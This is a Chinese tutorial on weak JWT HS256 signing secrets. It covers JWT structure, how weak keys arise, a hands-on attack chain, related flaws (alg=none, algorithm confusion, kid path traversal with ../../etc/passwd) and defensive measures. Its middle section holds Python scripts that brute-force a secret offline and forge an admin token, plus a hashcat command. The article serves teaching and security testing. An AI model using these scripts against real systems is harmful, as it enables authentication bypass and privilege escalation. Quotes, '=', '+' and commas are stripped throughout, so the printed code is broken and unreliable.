“JWT还谈得上弱口令”第一次听到这话的人多半是这种反应。毕竟在不少开发者眼里JWT是“签名过的凭证”是安全的代名词。结果没想到这类“安全凭证”里最常见的问题之一恰恰是签名密钥太弱。所谓JWT弱口令更准确地说是弱签名密钥指的是签发Token时使用了secret、123456这类肉眼可见的弱密钥导致攻击者拿到一个普通Token后可以在离线状态下爆破出密钥再伪造任意身份。这个问题的覆盖面比很多人想象中大得多。自研接口、开源框架、低代码平台、内部管理系统都可能踩进去。就算系统用了HS256签名算法也不代表安全因为HS256的安全性完全压在密钥强度上。密钥一弱整套认证体系就形同虚设。这篇文章我会从JWT结构讲起拆解弱密钥产生的典型场景再带你把“拿到Token→爆破密钥→伪造身份”完整复现一遍最后给出我实际项目中验证过的防御思路和排查经验。适合后端开发、安全测试、DevOps同学参考也适合刚接触JWT的初学者扫盲。1. 先拆解JWT它到底“安全”在哪里又骗了谁很多文章上来就讲JWT的格式但没讲到点上。JWT的安全模型其实非常清晰Token本身可以被任何人读取但只有持有正确密钥的人才能伪造。理解了这一点才能明白弱密钥为什么致命。1.1 JWT的三段式结构JWT全称是JSON Web Token它由三部分拼接而成用英文句点分隔Header.Payload.SignatureHeader和Payload都是JSON对象分别做Base64Url编码。Header里记录的是签名算法和令牌类型比如{alg: HS256, typ: JWT}Payload里放的是业务数据比如用户ID、角色、过期时间常见字段有sub、name、iat、exp等。明文读出来大概是这样{sub: user_001, name: zhang, role: user, exp: 1767225600}第三段Signature是签名它的算法由Header里的alg决定。问题就出在这里很多人只看到第三段是一长串不可读的字符就以为Token本身加密了、安全了。实际上Payload只是Base64Url编码不是加密任何人都能解开看内容。签名只负责防篡改不负责保密。我用一个生活类比来解释JWT类似一封盖章的信Header和Payload是信纸上的内容签名是那个印章。印章本身不隐藏文字但数字签名能证明这封信没有被篡改过。可如果印章的模子是人人都能拿到的那谁都能伪造出一封盖着真章的假信。JWT的密钥就是那个模子。1.2 签名算法决定了下限JWT常用的签名算法分两类这决定了密钥的管理方式完全不同算法类型密钥关系典型应用HS256/HS384/HS512对称签名签发和验签用同一个密钥内部系统、前后端同构RS256/RS384/RS512非对称签名私钥签发、公钥验签开放平台、跨服务认证ES256/ES384/ES512椭圆曲线签名私钥签发、公钥验签高安全场景HS256全称是HMAC-SHA256它把Header和Payload拼成一个字符串然后用共享密钥做一次HMAC计算得到的结果就是签名。验签时服务端用同一个密钥再算一遍比对结果。逻辑很简单但隐含条件是密钥必须是秘密且必须够强。问题在于HMAC是一种对称操作签发和验签不分家。密钥一旦泄露攻击者可以给自己签发一个roleadmin的Token服务端验签时完全认不出来。而RS256这类非对称算法私钥只在签发方手里验签方只需持有公开的公钥即使公钥被偷走也无法伪造签名风险模型完全不同。所以JWT是否安全首先要看用的是什么算法。如果是HS256那密钥强度就是安全下限。我在模拟项目X的安全测试中见过很多系统用着HS256密钥却是明文写在配置文件里的普通英文单词这种等于把大门钥匙挂在门框上所谓的签名保护只剩一层心理安慰。更要命的是HS256的爆破是离线的。攻击者只要拿到一个合法Token就可以在本地用字典反复尝试签名不需要跟服务器有任何交互。这意味着即使系统有防暴力破解机制也防不住这种攻击因为服务器根本看不到爆破过程。2. 弱口令从哪来三大常见作死现场知道了原理再看弱密钥是怎么产生的。我排查过不少出问题的系统弱密钥的来源基本逃不过下面这三类情况。2.1 默认密钥与示例代码很多框架和教程为了演示方便会把密钥直接写成例子的形式。例如不少教学项目里就写着JWT_SECRETsecret或jwt_secretyour-256-bit-secret。这个值本身是官方演示用的但一些开发者拿到示例代码后改改业务逻辑就上线了密钥原封不动。更离谱的情况是有些开源项目内置了默认密钥部署文档里根本没有强调“务必修改”。用户按默认配置启动服务跑起来一切正常就再也没人关注密钥这回事。攻击者只要了解这个框架的文档或源码就能拿到默认密钥直接伪造Token连爆破都省了。我印象很深的一次测试中某后台管理系统的接口返回的Token里Header的alg是HS256Payload里带着username和role字段。我把它拿去用默认密钥试了一下一次就解开了。不是因为我运气好而是项目里所有实例都在用同一个默认密钥。开发者的初衷是方便部署结果等于给所有系统配了同一把万能钥匙。2.2 随手复制粘贴与明文配置第二种情况更普遍密钥不是默认值但质量低到离谱。我在授权测试时收集过一批真实环境里的JWT密钥包括123456、admin、password、test、hmac、jwt_secret等还有一些干脆就是一个单词加几个数字。这种密钥跟密码学意义上的“随机密钥”完全不沾边本质上就是一个弱口令。有人可能觉得密钥是服务端内部的东西用户看不到也不会被猜中。但JWT的爆破不需要请求服务器攻击者在本地配一份常用密码字典几秒钟就能把这种密钥试出来。密钥不需要“看起来复杂”它需要的是“随机且足够长”。用123456当密钥跟把银行密码设成123456是一个性质。还有一类更隐蔽的问题密钥被写进前端打包产物或公开代码仓库。有一次我协助某个团队排查一个数据泄露事件最后发现是项目早期的.env文件被提交进了公开仓库里面内容包含JWT_SECRET。密钥一旦进了Git历史哪怕后来删掉也没用攻击者仍然可以从历史记录里翻出来。这个坑尤其容易在项目从私有转公开时爆发。2.3 密钥复用与过期不轮换第三种情况的坑在于“密钥会用但不会管”。比如同一套系统在测试环境、预发环境和生产环境都用同一个JWT密钥美其名曰方便运维。结果测试环境的验收账号泄露攻击者顺藤摸瓜把生产环境的Token也伪造出来了。密钥不轮换也是常见习惯。很多系统上线之后JWT密钥从未更换过哪怕运维人员已经怀疑某个渠道泄密也没有快速吊销和重新签发的机制。JWT和传统Session不同服务端一般不保存会话状态Token一旦签发只要签名有效在过期时间之前都很难主动让它失效。密钥不轮换就给攻击者留了一个持续利用的窗口。密钥长度不够也是一个被低估的问题。有人用“abc”当密钥或者只用一个数字字符串看起来好像是一个随机值实际上熵低得可怜。密码学要求的随机密钥至少要有256比特的熵换算成人类可读的文本应该是几十个随机字符而不是一个单词、一个短语或者一个短数字组合。3. 完整复现一次JWT弱密钥爆破光说不练假把式。下面我把整个测试过程完整走一遍从生成带弱密钥的Token开始到爆破出密钥再到伪造管理员身份。以下所有操作都在我自己的演示环境中进行属于授权测试请勿对未授权的系统实施类似操作。3.1 准备环境与目标Token为了严谨起见我不用网上现成的示例Token而是自己生成一个带有弱密钥的JWT。演示环境需要装Python 3其他依赖只用标准库。先定义一个小函数用来生成Tokenimport hmac import hashlib import base64 import json import time def b64url(data: bytes) - str: return base64.urlsafe_b64encode(data).rstrip(b).decode() def make_jwt(secret: str, payload: dict) - str: header {alg: HS256, typ: JWT} header_b64 b64url(json.dumps(header, separators(,, :)).encode()) payload_b64 b64url(json.dumps(payload, separators(,, :)).encode()) signing_input f{header_b64}.{payload_b64} signature hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest() return f{signing_input}.{b64url(signature)} payload {username: normal_user, role: user, exp: int(time.time()) 3600} token make_jwt(secret123, payload) print(token)执行之后会得到一个完整的JWT。这个Token的签名使用“secret123”这一弱密钥但攻击者在绝大多数情况下拿到的只有Token本身并不知道密钥内容。下面从攻击者视角开始分析。3.2 识别算法与结构拿到Token后第一步先看Header和Payload。JWT的三段都是Base64Url编码没有加密。用Python几行就能解开import base64 token 上面的输出结果 header_b64, payload_b64, signature token.split(.) def b64url_decode(s: str) - bytes: padding * (4 - len(s) % 4) return base64.urlsafe_b64decode(s padding) print(b64url_decode(header_b64).decode()) print(b64url_decode(payload_b64).decode())解开后可以看到{alg: HS256, typ: JWT}以及{username: normal_user, role: user, exp: 1767225600}这一步能确认三件事第一算法是HS256属于对称签名第二Payload里带着role字段说明系统很可能有角色权限逻辑第三Token里有用户身份信息伪造身份的价值很大。如果Header里的alg是none或者根本没有签名那问题更严重不过当前Token显然是正常签发的。3.3 离线爆破签名密钥确认HS256后就可以尝试离线爆破。原理很简单对字典里的每个候选密钥用同样的方式计算HMAC-SHA256签名看计算出来的签名是否和Token第三段一致。import hmac import hashlib import base64 token 上面的输出结果 header_payload, signature token.rsplit(., 1) def b64url_decode(s: str) - bytes: padding * (4 - len(s) % 4) return base64.urlsafe_b64decode(s padding) expected b64url_decode(signature) wordlist [ secret, jwt, 123456, admin, password, test, secret123, key, hmac, your-256-bit-secret ] for word in wordlist: digest hmac.new(word.encode(), header_payload.encode(), hashlib.sha256).digest() if digest expected: print(f密钥找到了: {word}) break运行后很快就能输出“密钥找到了: secret123”。为什么这么快因为爆破过程是纯本地的没有任何网络请求。签名计算是HMAC-SHA256每秒可以尝试数万次甚至更多字典里只要包含这个弱密钥命中只是时间问题。如果字典规模再大一点可以用hashcat的JWT模式跑GPU加速-m 16500就是专门针对JWT HS256的哈希模式。命令形如hashcat -m 16500 -a 0 jwt.txt weak_pass.txt --force其中jwt.txt里存放完整Tokenweak_pass.txt是字典文件。GPU模式下每秒尝试量能达到数亿次绝大部分弱密钥在几分钟内都会被破解。3.4 伪造Token的完整脚本密钥到手之后伪造Token就是水到渠成的事。把Payload改成目标身份再用同一个密钥重新签名import hmac import hashlib import base64 import json import time def b64url(data: bytes) - str: return base64.urlsafe_b64encode(data).rstrip(b).decode() def make_jwt(secret: str, payload: dict) - str: header {alg: HS256, typ: JWT} header_b64 b64url(json.dumps(header, separators(,, :)).encode()) payload_b64 b64url(json.dumps(payload, separators(,, :)).encode()) signing_input f{header_b64}.{payload_b64} signature hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest() return f{signing_input}.{b64url(signature)} payload {username: admin, role: admin, exp: int(time.time()) 3600} forged_token make_jwt(secret123, payload) print(forged_token)把这个伪造Token放到请求头里比如Authorization: Bearer forged_token服务端验签时计算出来签名完全一致就会把这个请求当成合法的管理员请求。整个过程不仅不需要管理员密码甚至不需要接触服务器。我见过有人对这一环节提出疑问爆破出密钥后还需要知道目标用户是谁才能伪造别人的身份。这确实是个限制但实际攻击者经常会结合其他漏洞收集用户信息或者选择记忆性高的用户名进行尝试。更直接的是很多系统的Payload里就带着username从普通用户Token里能直接看到身份标识结构伪造一个不存在的系统管理员身份只要系统有默认管理员逻辑就可能直接命中。4. JWT不止弱口令这几个坑同样致命弱口令是JWT问题里最常见的一种但JWT的坑远不止这一处。把下面这几个问题放在一起看就能理解为什么安全圈对JWT的态度一直是“谨慎使用正确配置”。4.1 algnone绕签JWT标准在早期版本中确实存在一个“不签名”的算法即alg字段值为none。设计本意是用于某些内部场景比如只做编码不做签名。但一些实现没有严格限制算法白名单导致攻击者把Token的Header改成{alg:none}然后把签名部分删掉服务端一验签发现没有签名但代码逻辑是“如果存在签名则验签如果不存在则放行”这就绕过了整个签名机制。现在主流库基本都默认禁用none但那些自己拼JWT、自己实现了简单解析的代码仍然可能中招。判断方法很简单把Token的Header改成none去掉完全部签名段直接发请求看服务端是否接收。防御上就是一件事验签前强制校验算法白名单遇到none或未知算法直接拒绝。4.2 算法混淆把公钥当密钥用比弱密钥更难防的是算法混淆攻击又叫RS256到HS256切换攻击。场景是这样的服务端原本用RS256签发Token时用私钥验签时用公钥。公钥通常是公开的会被放在配置、JS文件或接口输出里。攻击者拿到公钥后把Token的Header从RS256改成HS256然后用这个公钥内容作为HMAC的共享密钥重新算签名。如果服务端的验签代码没有限制算法类型只根据Header里的alg字段选择验签方式那么它就会用公钥内容来执行HS256验签。攻击者用公钥签名服务端用同一个公钥验签结果自然是验证通过。这个攻击成立的关键在于服务端错误地把公钥当成了对称密钥来用。防御方式是强制设置算法白名单并且不允许同一Token在验签过程中切换算法类型。成熟库基本都有这个开关但需要开发者主动打开并写明允许的算法。4.3 kid参数与意外文件读取JWT的Header里除了alg和typ有时还会有kid字段全称Key ID作用是告诉服务端“应该用哪把密钥来验签”。这个设计本身合理但实现时如果不加校验直接拿kid拼文件路径去读取密钥就可能出现路径穿越问题。比如攻击者把kid设置成../../etc/passwd服务端拼路径后读取了这个文件也许不会直接把内容返回但某些实现会用读到的内容做后续逻辑制造信息泄露或绕过。即便不能读任意文件恶意kid也可能让服务端去读取错误的密钥或空值制造异常行为。防御上没有太多花哨的招数kid不能直接拼接路径应当使用内部映射表比如把kid映射到密钥ID再由密钥管理系统取出真正的密钥。同时对kid做长度、字符集校验拒绝任何包含路径特征的输入。4.4 过期与刷新机制疏漏还有一类容易被忽略的问题出在业务逻辑上。JWT的exp字段用来声明过期时间但很多系统在验签时忘记检查exp导致Token永远不过期。还有一种情况是只检查签名不检查iat签发时间或者不校验aud受众导致一个服务签发的Token被拿到其他服务里使用。刷新Token的设计同样有隐患。如果刷新Token本身也是JWT并且跟访问Token共用同一个弱密钥那么爆破一个刷新Token就能拿到长期有效的会话凭证危害比访问Token更大。更别说有些系统的刷新Token过期时间设到了30天甚至一年配合弱密钥基本等于给攻击者开了长期后门。这一块我建议把所有时间校验字段都纳入强制验证exp必须存在并且小于当前时间则拒绝nbf必须存在且不得晚于当前时间iat要做漂移容忍处理aud和iss要和服务端配置匹配。每一行校验看起来都简单但少了任何一行都可能被针对性绕过。5. 把坑填上防御JWT弱密钥的几条实操建议前面讲了半天攻击现在落到防御。这部分内容不是我从理论里推导出来的而是我在不同项目里验证过、真实能落地的方案每一条都能直接对应到具体操作。5.1 用对算法与密钥长度新系统我建议优先选择RS256或ES256这类非对称算法。原因很简单私钥只存在于签发端验签端只需要公钥密钥泄露对伪造签名的帮助有限。即便公钥被别人拿到攻击者也无法用公钥构造合法签名这就把风险边界划得很清楚。如果因为历史原因必须保留HS256那密钥必须满足两个条件一是随机二是足够长。随机值不应该是人拍脑袋想出来的字符串应当用密码学安全随机数生成。比如openssl rand -base64 48结果类似一串64字符的随机文本。如果有人拿这个值当环境变量配置说明他理解密钥的正确用法如果有人觉得“这样太麻烦”继续用secret当密钥那我建议他先看一遍上面爆破复现的流程。无论用哪种算法密钥都不允许出现在源码、前端代码、公开文档和Git历史中。生产环境的密钥应放在环境变量、配置中心或密钥管理服务里其他人只有部署权限才能读取。5.2 建立密钥管理与轮换机制密钥要分环境隔离测试、预发、生产各用一套不能复用。原因很实际测试环境往往安全防护最弱攻陷成本最低一旦密钥复用测试环境沦陷就等于生产环境沦陷。密钥轮换也不能只挂在口头上。我建议至少每三个月轮换一次并且轮换方案要设计成“新旧并行”的模式新密钥先以附加方式启用旧的继续接受验签等确认新密钥稳定后再停用旧密钥。这样用户不需要重新登录服务也保持了连续性。如果怀疑密钥已经泄露第一时间不是去改一行代码而是先全面吊销所有Token重新签发再更换密钥。没有快速吊销机制的JWT体系在发生泄密事件时会非常被动。提前设计好一个紧急操作流程比临场想办法踏实得多。5.3 服务端验签细节别偷懒选择成熟库而不是自己解析JWT这是最基本的一条。成熟库经过大量用户验证很多边缘情况都已经处理掉了。自己解析的代码往往只覆盖正常场景遇到algnone、kid注入、算法混淆这类攻击时几乎没有任何抵抗能力。验签时还要强制校验算法的白名单。无论Header里写了什么算法服务端只接受配置中允许的那几种其他一律拒绝。比如规定只接受RS256那么Header里出现HS256就应当直接报错。这个校验必须在验签之前执行而不是在读取密钥之后。除此之外所有业务字段都不能漏检exp过期时间、nbf生效时间、aud受众、iss发行者每项都要和配置比对。不要觉得“别人不会伪造Token所以不需要校验这些”攻击者一旦拿到密钥伪造的Token就是合法的唯一能拦住他的就是这些看似繁琐的校验逻辑。5.4 监控、告警与测试流程防御的最后一道防线是可观测性。服务端应当记录验签失败的日志包括失败原因、Token特征、请求来源等信息。如果某个IP短时间内出现大量验签失败说明可能有人在尝试爆破或篡改Token应当触发告警。更主动的做法是把弱密钥检查纳入安全测试流程。我在某跨平台系统的CI流水线里挂了一个简单脚本它会登录测试环境拿到真实Token然后跑一遍小字典如果命中弱密钥就让构建失败。这个检查很廉价但能把最粗心的密钥问题在早期拦住。安全测试团队在项目上线前也应该把“JWT密钥强度”列入必测项。字典不需要太大默认密钥、常见弱口令、框架默认值这几类就足够覆盖大部分真实漏洞。6. 实操中的常见问题与避坑记录最后分享一些我在实际测试和排查过程中积累的经验。这些问题在文档里通常找不到答案但碰到时又确实让人头疼。6.1 爆破速度慢怎么优化爆破速度慢的第一个原因往往是字典太泛。与其用几千万条的大字典闷头跑不如先缩小范围。比如根据Token的签名算法、系统的开发语言和框架圈定一批最可能的默认密钥和弱口令。很多系统的密钥就是开发人员随手敲的几个字符字典里加一些常见组合比盲目跑大型字典效率高得多。第二个原因是CPU单线程限制。可以考虑启用hashcat的GPU模式同样的字典在GPU上速度快几个数量级。第三个原因是Token样本不够多如果只拿到一个Token爆破出来的密钥可能只能在这个Token对应的系统上使用。多抓取不同接口返回的Token做交叉验证能提高爆破结果的可靠性。还有一个小技巧如果拿到Token但不知道alg字段是什么先把Header和Payload解码确认算法再决定爆破策略。HS256可以直接词典爆破RS256则需要先看是否有公钥泄露、是否可切换到HS256等其他攻击面走词典爆破大概率是浪费时间。6.2 遇到“invalid signature”别急着改密钥线上服务报“invalid signature”时很多人第一反应是密钥不对马上修改JWT_SECRET配置。这很可能越改越糟因为问题常常不在密钥本身而是别的原因。排查顺序我建议这样先看Token的Header和Payload是否正常有没有被篡改的痕迹再看签名生成方式是不是标准实现比如是不是用了不同的编码方式或遗漏了某段拼接内容。同时检查服务器时间和客户端时间是否偏差较大时间同步问题会导致exp、iat校验失败也会被误报成签名错误。还要注意密钥轮换期间新旧密钥并行的问题。如果在切换窗口内用户持旧Token访问服务端已经改用新密钥验签自然会报验签失败。这时候正确的做法是让新旧密钥并行生效一段时间而不是要求所有用户重新登录。6.3 工具选型与自动化测试思路工具方面我常用的主要是三套一是交互式分析工具适合快速查看Token结构、尝试修改Header和Payload验证各种绕过思路二是hashcat这类高性能爆破工具适合大规模的密钥字典跑量三是用Python自己写的自动化脚本适合批量拉取真实Token做巡检。三者不是二选一的竞争关系用途不同。交互工具帮你在单点测试时快速验证hashcat解决性能问题自写脚本解决重复性问题。我一般在项目上线前的巡检里采用组合方式先用脚本批量采集测试环境Token再用交互工具抽查算法配置最后用字典爆破验证密钥强度。如果实在不知道怎么开始可以先从自己项目的权威性开始。比如找到开发负责人确认当前JWT算法是HS256还是RS256确认密钥是谁生成的、放在哪里、多久轮换一次。这三个问题回答不清楚项目就一定有JWT安全风险。我个人在大量实操中留下一个很深的体会JWT本身不是洪水猛兽真正让人掉坑的往往是那些看起来“没什么技术含量”的密钥习惯问题。默认密钥不改、弱密钥上线、密钥进仓库、长期不轮换这些听着都很低级但每一个我都曾在真实环境里遇到过。开发阶段为了调试方便手动改成过dev-secret上线后那份配置忘改回来就这一个细节当时是在某个模拟项目里直接把整套用户体系暴露了。后来我在任何项目里都会加一道步骤写完JWT签发代码后先把生产环境配置清单单独过一遍再写一个最小化的弱密钥检查脚本挂在CI里跑。这个方法很土但确实有效。JWT弱密钥这类问题属于“排查起来很费劲但预防起来特别便宜”的典型早做一步后面的很多热闹基本都可以不用看。